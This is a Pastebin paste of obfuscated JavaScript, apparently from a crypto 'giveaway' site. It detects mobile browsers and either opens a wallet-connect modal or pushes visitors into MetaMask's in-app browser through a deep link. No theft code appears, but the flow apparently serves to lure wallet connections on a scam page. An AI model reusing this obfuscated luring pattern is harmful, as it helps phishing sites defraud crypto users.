Advertisement
Guest User

ensgiveaway.com javascript_main.js

a guest
Nov 8th, 2022
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 6.07 KB | Cryptocurrency | 0 0
  1. function _0x4364() {
  2.   const _0x2afcc9 = [
  3.     'metamaskbuttonopen',
  4.     'metamaskbutton',
  5.     '3240380umQUoC',
  6.     'block',
  7.     'userAgent',
  8.     'location',
  9.     'href',
  10.     'WEB3_CONNECT_MODAL_ID',
  11.     'onclick',
  12.     '30AkQIwH',
  13.     'style',
  14.     '1976149PrvGnv',
  15.     '4459296cJlQbu',
  16.     'substr',
  17.     'none',
  18.     'mobileAndTabletCheck',
  19.     'test',
  20.     '33492510hFiOCT',
  21.     '679496EgcWnd',
  22.     'host',
  23.     'click',
  24.     'display',
  25.     'indexOf',
  26.     '12tnDWSg',
  27.     'vendor',
  28.     'opera',
  29.     'https://metamask.app.link/dapp/',
  30.     'MetaMaskMobile',
  31.     '652251SrHMml',
  32.     '9etFMay',
  33.     '2054994wwgnax',
  34.     'getElementById',
  35.     'log',
  36.     'target'
  37.   ];
  38.   _0x4364 = function () {
  39.     return _0x2afcc9;
  40.   };
  41.   return _0x4364();
  42. }
  43. const _0x5a0a6b = _0x364b;
  44. (function (_0x3a5059, _0x13949c) {
  45.   const _0x53cefe = _0x364b,
  46.   _0x69a8e5 = _0x3a5059();
  47.   while (!![]) {
  48.     try {
  49.       const _0x3b3e7c = parseInt(_0x53cefe(398)) / 1 + - parseInt(_0x53cefe(400)) / 2 + - parseInt(_0x53cefe(393)) / 3 * (parseInt(_0x53cefe(388)) / 4) + - parseInt(_0x53cefe(372)) / 5 + - parseInt(_0x53cefe(379)) / 6 * (parseInt(_0x53cefe(381)) / 7) + parseInt(_0x53cefe(382)) / 8 * (parseInt(_0x53cefe(399)) / 9) + parseInt(_0x53cefe(387)) / 10;
  50.       if (_0x3b3e7c === _0x13949c) break;
  51.        else _0x69a8e5['push'](_0x69a8e5['shift']());
  52.     } catch (_0x4ea686) {
  53.       _0x69a8e5['push'](_0x69a8e5['shift']());
  54.     }
  55.   }
  56. }(_0x4364, 792310), window[_0x5a0a6b(385)] = function () {
  57.   const _0x2ce580 = _0x5a0a6b;
  58.   let _0x495293 = ![];
  59.   return function (_0xa4157a) {
  60.     const _0x21012e = _0x364b;
  61.     if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino|android|ipad|playbook|silk/i[_0x21012e(386)](_0xa4157a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x21012e(386)](_0xa4157a[_0x21012e(383)](0, 4))) _0x495293 = !![];
  62.   }(navigator['userAgent'] || navigator[_0x2ce580(394)] || window[_0x2ce580(395)]),
  63.   _0x495293;
  64. });
  65. let isModalOpened = ![];
  66. navigator[_0x5a0a6b(374)][_0x5a0a6b(392)]('MetaMaskMobile') != - 1 && document[_0x5a0a6b(401)]('metamaskbuttonopen') [_0x5a0a6b(390)]();
  67. function _0x364b(_0x3e405e, _0x3e9f63) {
  68.   const _0x43646a = _0x4364();
  69.   return _0x364b = function (_0x364b10, _0x1f0cd8) {
  70.     _0x364b10 = _0x364b10 - 370;
  71.     let _0x46bbd3 = _0x43646a[_0x364b10];
  72.     return _0x46bbd3;
  73.   },
  74.   _0x364b(_0x3e405e, _0x3e9f63);
  75. }
  76. document[_0x5a0a6b(401)]('metamaskbutton1') [_0x5a0a6b(378)] = function () {
  77.   const _0x22fe34 = _0x5a0a6b;
  78.   !window[_0x22fe34(385)]() ? (document[_0x22fe34(401)](_0x22fe34(377)) [_0x22fe34(380)][_0x22fe34(391)] = 'block', setTimeout(() =>{
  79.     isModalOpened = !![];
  80.   }, 500)) : navigator[_0x22fe34(374)][_0x22fe34(392)](_0x22fe34(397)) != - 1 ? document[_0x22fe34(401)](_0x22fe34(370)) [_0x22fe34(390)]() : (document[_0x22fe34(401)](_0x22fe34(377)) [_0x22fe34(380)][_0x22fe34(391)] = _0x22fe34(373), document[_0x22fe34(401)]('metamaskbuttonopen') [_0x22fe34(378)] = function () {
  81.     const _0x4e5902 = _0x22fe34;
  82.     window[_0x4e5902(375)][_0x4e5902(376)] = _0x4e5902(396) + window[_0x4e5902(375)][_0x4e5902(389)] + '/';
  83.   }, setTimeout(() =>{
  84.     isModalOpened = !![];
  85.   }, 500));
  86. },
  87. document[_0x5a0a6b(401)](_0x5a0a6b(371)) [_0x5a0a6b(378)] = function () {
  88.   const _0x416ec8 = _0x5a0a6b;
  89.   !window[_0x416ec8(385)]() ? (document[_0x416ec8(401)]('WEB3_CONNECT_MODAL_ID') [_0x416ec8(380)][_0x416ec8(391)] = _0x416ec8(373), setTimeout(() =>{
  90.     isModalOpened = !![];
  91.   }, 500)) : navigator['userAgent'][_0x416ec8(392)](_0x416ec8(397)) != - 1 ? document[_0x416ec8(401)](_0x416ec8(370)) ['click']() : (document[_0x416ec8(401)](_0x416ec8(377)) [_0x416ec8(380)][_0x416ec8(391)] = 'block', document['getElementById'](_0x416ec8(370)) [_0x416ec8(378)] = function () {
  92.     const _0x1d9929 = _0x416ec8;
  93.     window[_0x1d9929(375)][_0x1d9929(376)] = _0x1d9929(396) + window[_0x1d9929(375)][_0x1d9929(389)] + '/';
  94.   }, setTimeout(() =>{
  95.     isModalOpened = !![];
  96.   }, 500));
  97. };
  98. var modal = document['getElementById'](_0x5a0a6b(377));
  99. window[_0x5a0a6b(378)] = function (_0xcb6c44) {
  100.   const _0x5d31e4 = _0x5a0a6b;
  101.   console[_0x5d31e4(402)](_0xcb6c44[_0x5d31e4(403)] != modal),
  102.   console[_0x5d31e4(402)](isModalOpened),
  103.   _0xcb6c44[_0x5d31e4(403)] != modal && isModalOpened && (modal[_0x5d31e4(380)][_0x5d31e4(391)] = _0x5d31e4(384), isModalOpened = ![]);
  104. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement